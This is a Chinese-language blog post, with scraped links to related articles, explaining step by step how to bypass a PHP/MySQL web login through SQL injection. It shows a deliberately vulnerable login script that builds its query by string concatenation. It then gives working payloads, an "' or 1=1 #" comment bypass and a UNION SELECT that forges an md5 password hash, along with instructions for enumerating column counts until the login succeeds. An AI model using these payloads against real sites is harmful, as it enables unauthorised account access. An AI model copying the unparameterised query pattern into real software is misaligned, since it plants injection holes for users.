声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关。
在百度、博客园、oschina、github 、SegmentFault、上面都关于sql注入的文章和工具。
看过很多sql注入的文章。他们讲的内容大同小异,都是围绕一个“帮助单引号越狱“来展开注入。
 可惜是:他们都只提供了思路、和可行性的方案和简单却不实用的demo,却没有具体详情对针web登录来做详情的阐述和举例。
本文将以具体实例 阐述web登录的sql注入,实现对网站免账号、密码的攻击登录。
当然,实现正面的sql注入需要以下几个条件:
1 、后台程序(注意是后台程序,前后可绕过)代码没有对用户名、密码的长度做判断。
2、后台程序没有对单引号进度过滤(如果数据库编码是gbk,过滤了单引号也存在宽字节注入。本文只讲普通注入);
3、登录算法只采用了一层md5算法
/**实例***********start**/
一、先看下这个数据表结构

--
-- 表的结构 `user`
--
CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(30) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
 
--
-- 转存表中的数据 `user`
--
 
INSERT INTO `user` (`id`, `username`, `password`) VALUES
(1, 'admin', 'fcea920f7412b5da7be0cf42b8c93759');
 

数据表里面存在一个admin用户,它的密码是1234567,md5加密之后的明文

二、看下后台代码
if(!empty($_POST)) {
    $link = mysqli_connect('localhost', "root", "root");
    mysqli_select_db($link, "test");
    mysqli_set_charset($link, "utf8");
    $username = $_POST["username"];
    $password = $_POST["password"];
    $sql = "SELECT * FROM user where username='$username'";  
    $res = mysqli_query($link, $sql);
    $row = mysqli_fetch_assoc($res);
    
    if (md5($password) == $row["password"]) { 
        echo "登录成功";
       
    }else{
        echo '失败';
    }
}
程序很简单,先到数据库查出一个 用户名username = 变量 的所有记录
再把从客户端拿过来的密码password md5加密 比对是否和原密码一样。
如果一样则登录成功,否则登录失败。

三、前端页面


四、发动攻击
我们的目标是越狱单引号。
如果后台的代码sql是 select * form user where username='$username'  and password=' ".md5($password)." ';
那我的攻击就简单了。用户名:6666 ' or 1=1 #  密码:6666  ; 单引号之前的字符和密码可以随意填。
最后生成的sql是select * form user where username='6666' or 1=1 # and password='6666 '; 这里#号之后的字符都被注释掉了。所以密码被绕过了(之所以提出来。是因为网上大多数讲到这里就没下文了);
但是我们的程序是取出一个账号的所有信息,再比对密码。
我们希望    $row = mysqli_fetch_assoc($res); 
$row 数组内有一个字段password,和我们提交的密码$password md5后一致。
于是巧构union查询:

用户名:6666 ' union select 1,2,md5(123456) as password#  (这里md5(123456) as password很重要)
密码:123456  (这里123456,必须和用户名中的123456一样)
最后生成的sql语句是 : select * form user where username='6666' union select 1,2,md5(123456) as password

完了吗?貌似完了,不过有一点要注意。因为union 查询必须要列一样。所有你的尝试中可能会报错。不过可以依次枚举。
第一次 用户名:6666 ' union select 1,2,md5(123456) as password#  
第二次 用户名:6666 ' union select 1,2,3,md5(123456) as password#  
第三次 用户名:6666 ' union select 1,2,3,4,md5(123456) as password#  
第四次 用户名:6666 ' union select 1,2,3,4,5,md5(123456) as password#  
第五次 用户名:6666 ' union select 1,2,3,4,5,6,md5(123456) as password#  
...
最多不超过30次就会出注入成功。最后取决user表中有多少个字段。一般来6-10左右。
/**实例***********end**/  
最后要说的是,互联网web开发中,有太多人将不注重web安全,没有防犯意识,包括曾经的自己,甚至一些10年工作经验的老司机。实用性就不说了,再次声明:请洁身自好!
好吧,扯蛋到此结束。MD都一点半了,睡觉了。
author:小米飞刀
email:2777314125@qq.com

Web登录敲门砖之sql注入的更多相关文章

  1. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  2. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  3. Web安全学习笔记 SQL注入中

    Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...

  4. 一个简单的后台与数据库交互的登录与注册[sql注入处理,以及MD5加密]

    一.工具: vs2013[因为我现在用的也是2013,版本随便你自己开心] sql2008[准备过久升级] 二.用到的语言: HTML+CSS+Jquery+Ajax+sqlserver HTML[相 ...

  5. Web常见安全漏洞-SQL注入

    SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...

  6. Web安全篇之SQL注入攻击

    在网上找了一篇关于sql注入的解释文章,还有很多技术,走马观花吧 文章来源:http://www.2cto.com/article/201310/250877.html ps:直接copy,格式有点问 ...

  7. web开发中防止SQL注入

    一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...

  8. Web很脆弱,SQL注入要了解

    SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 通过一下的例子更形象的了解SQL注入: 有一个Login ...

  9. PHP查询登录中的sql注入

    ---------------------------------------------------------------------------------------------------- ...

随机推荐

  1. 即时通信系统Openfire分析之八:集群管理

    前言 在第六章<路由表>中,客户端进行会话时,首先要获取对方的Session实例.获取Session实例的方法,是先查找本地路由表,若找不到,则通过路由表中的缓存数据,由定位器获取. 路由 ...

  2. 阻塞队列BlockingQueue

    BlockingQueue最终会有四种状况,抛出异常.返回特殊值.阻塞.超时,下表总结了这些方法: 抛出异常 特殊值 阻塞 超时 插入 add(e) offer(e) put(e) offer(e, ...

  3. 使用vue-cli脚手架搭建简单项目框架

    1.首先已经安装了node,最好版本6以上. 2.安装淘宝镜像 大家都知道国内直接使用 npm 的官方镜像是非常慢的,这里推荐使用淘宝 NPM 镜像.这样就可以直接使用cnpm了. npm insta ...

  4. 02-从零玩转JavaWeb-类与对象

    配套视频:对象与类 一.什么是对象 包含特性和行为的一个实体   下图当中,"颜色"和"体重"属于"特性或叫状态" "咬人&quo ...

  5. 在mac OS10.10下安装 cocoapods遇到的一些问题

    今天有个朋友问了我一个问题:为什么我安装cocoapods不成功,报 sh: line 1: 997 Abort trap: 6 /Applications/Xcode.app/Contents/De ...

  6. 用BroadcastReceiver监听手机网络状态变化

    android--解决方案--用BroadcastReceiver监听手机网络状态变化 标签: android网络状态监听方案 2015-01-20 15:23 1294人阅读 评论(3) 收藏 举报 ...

  7. 关于laravel5.5控制器方法参数依赖注入原理深度解析及问题修复

    在laravel5.5中,可以根据控制器方法的参数类型,自动注入一个实例化对象,极大提升了编程的效率,但是相比较与Java的SpringMVC框架,功能还是有所欠缺,使用起来还是不太方便,主要体现在方 ...

  8. dom4j解析xml文档全面介绍

    一.dom4j介绍 dom4j是一个Java的XML API,类似于jdom,用来读写XML文件的.dom4j是一个非常非常优秀的Java XML API,具有性能优异.功能强大和极端易用使用的特点, ...

  9. NHibernate查询示例合集

    基本查询   复杂查询示例 /// <summary> /// 获取自定义表单数据中属于部门的部分 /// </summary> /// <param name=&quo ...

  10. 【2】hadoop搭建准备软件

    准备一:VMware虚拟工具: 链接:http://pan.baidu.com/s/1o7F4A6I 密码:w5ti 准备二:CentOS6.8虚拟机(64位):如果64位不允许安装,可能是电脑设置问 ...